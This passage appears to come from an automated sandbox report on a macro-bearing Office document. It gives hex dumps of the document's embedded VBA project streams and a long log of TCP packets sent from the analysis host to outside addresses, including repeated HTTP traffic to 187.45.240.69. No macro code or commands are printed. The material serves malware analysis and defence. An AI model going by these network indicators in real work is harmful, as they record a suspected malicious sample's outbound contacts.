                                                                                      Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 156
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/VBA/__SRP_3
                                                                                      File Type:data
                                                                                      Stream Size:156
                                                                                      Entropy:1.7820663630707385
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . 8 . . . . . . . . . . . . . . . ` . . . 8 . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
                                                                                      Data Raw:72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 38 00 e1 01 00 00 00 00 00 00 00 00 02 00 00 00 03 60 00 00 d8 08 38 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00
                                                                                      Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 547
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/VBA/dir
                                                                                      File Type:data
                                                                                      Stream Size:547
                                                                                      Entropy:6.129298700211954
                                                                                      Base64 Encoded:True
                                                                                      Data ASCII:. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . b . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E .
                                                                                      Data Raw:01 1f b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 80 86 83 62 04 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

                                                                                      Network Behavior

                                                                                      Network Port Distribution

                                                                                      TCP Packets

                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                      Aug 16, 2022 11:39:28.359715939 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:28.579921007 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:28.580024004 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:28.580512047 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:28.795896053 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.015994072 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.016047001 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.016084909 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.016119957 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.016134024 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.016181946 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.016186953 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.023946047 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.024009943 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.024044037 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.024060011 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.024079084 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.024095058 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.024117947 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.024137020 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.024149895 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.024178028 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.024188042 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.024228096 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.034380913 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.112557888 CEST4974580192.168.2.3104.18.10.207
                                                                                      Aug 16, 2022 11:39:30.129129887 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.129326105 CEST4974580192.168.2.3104.18.10.207
                                                                                      Aug 16, 2022 11:39:30.131438971 CEST4974580192.168.2.3104.18.10.207
                                                                                      Aug 16, 2022 11:39:30.147880077 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.154021025 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.154056072 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.154079914 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.154108047 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.154131889 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.154150009 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.154165983 CEST8049745104.18.10.207192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.154249907 CEST4974580192.168.2.3104.18.10.207
                                                                                      Aug 16, 2022 11:39:30.154356956 CEST4974580192.168.2.3104.18.10.207
                                                                                      Aug 16, 2022 11:39:30.240120888 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.240175962 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.240214109 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.240253925 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.240288973 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.240299940 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.240336895 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.240350008 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.240367889 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.240401030 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.240403891 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.240452051 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.240474939 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.240521908 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.248158932 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.248203039 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.248241901 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.248272896 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.248289108 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.248311996 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.248374939 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.248404980 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.248420000 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.248434067 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.248497009 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.249022961 CEST4974380192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.251122952 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.268812895 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.268937111 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.272078991 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.310003996 CEST4974980192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.328493118 CEST8049749142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.328619957 CEST4974980192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.329093933 CEST4974980192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.347425938 CEST8049749142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.362730980 CEST8049749142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.362881899 CEST4974980192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.367340088 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.367405891 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.367539883 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.391386032 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.391447067 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.447984934 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.448247910 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.448873997 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.449001074 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.463848114 CEST8049743187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.476258039 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.476416111 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.479897022 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.500725985 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.500782013 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.500860929 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.500876904 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.500917912 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.500919104 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.500976086 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.500978947 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.501034021 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.501038074 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.501085997 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.501106024 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.501135111 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.501151085 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.501200914 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.501211882 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.501257896 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.501259089 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.501311064 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.501318932 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.501368999 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.703970909 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.704149961 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.704231977 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.704251051 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.704302073 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.704327106 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.704380989 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.704436064 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.704489946 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.704546928 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.704598904 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.704653978 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.704705000 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.704783916 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.704835892 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.704957962 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.705013990 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.705091953 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.705146074 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.705225945 CEST8049748187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.705281019 CEST4974880192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737082958 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737201929 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737243891 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737281084 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737288952 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737377882 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737379074 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737420082 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737432957 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737459898 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737472057 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737498999 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737512112 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737536907 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737550974 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737576008 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737587929 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737612963 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737627983 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737651110 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737667084 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737689018 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737701893 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737730026 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737740040 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737770081 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737785101 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737807035 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737821102 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737844944 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737858057 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737884045 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737898111 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737921000 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737935066 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737960100 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.737971067 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.737998009 CEST8049744187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.738013983 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.738054991 CEST4974480192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:30.841640949 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.841692924 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.841999054 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.842073917 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.844738007 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.884052992 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.884115934 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.884157896 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.884192944 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.884231091 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.884277105 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.884299040 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.884309053 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.884332895 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.884551048 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.884622097 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.884637117 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.884696007 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.885791063 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.885850906 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.885864973 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.885936022 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.887212992 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.887295961 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.887309074 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.887511969 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.888264894 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.888339043 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.888350964 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.888406992 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.889489889 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.889564991 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.890872955 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.890959024 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.902327061 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.902409077 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.902451038 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.902549982 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.902750969 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.902817011 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.902856112 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.902909040 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.904104948 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.904166937 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.904227972 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.904297113 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.905406952 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.905492067 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.905507088 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.905589104 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.906711102 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.906790018 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.906801939 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.906867981 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.908080101 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.908170938 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.908385038 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.908462048 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.910729885 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.910808086 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.910828114 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.910839081 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.910850048 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.910872936 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.910912991 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.911849022 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.911956072 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.911973000 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.912034988 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.913088083 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.913181067 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.913192034 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.913263083 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.914170980 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.914249897 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.914262056 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.914324045 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.915468931 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.915574074 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.915586948 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.915653944 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.916685104 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.916774035 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.916786909 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.916850090 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.917870998 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.917958975 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.917994022 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.918052912 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.918996096 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.919070959 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.919091940 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.919148922 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.920219898 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.920291901 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.920322895 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.920378923 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.921336889 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.921402931 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.921427965 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.921484947 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.922286034 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.922354937 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.922369003 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.922425032 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.923371077 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.923476934 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.923491001 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.923556089 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.924124002 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.924932003 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.924943924 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.924957037 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.925014973 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.925050020 CEST49750443192.168.2.3142.250.181.238
                                                                                      Aug 16, 2022 11:39:30.925060034 CEST44349750142.250.181.238192.168.2.3
                                                                                      Aug 16, 2022 11:39:30.925122023 CEST49750443192.168.2.3142.250.181.238
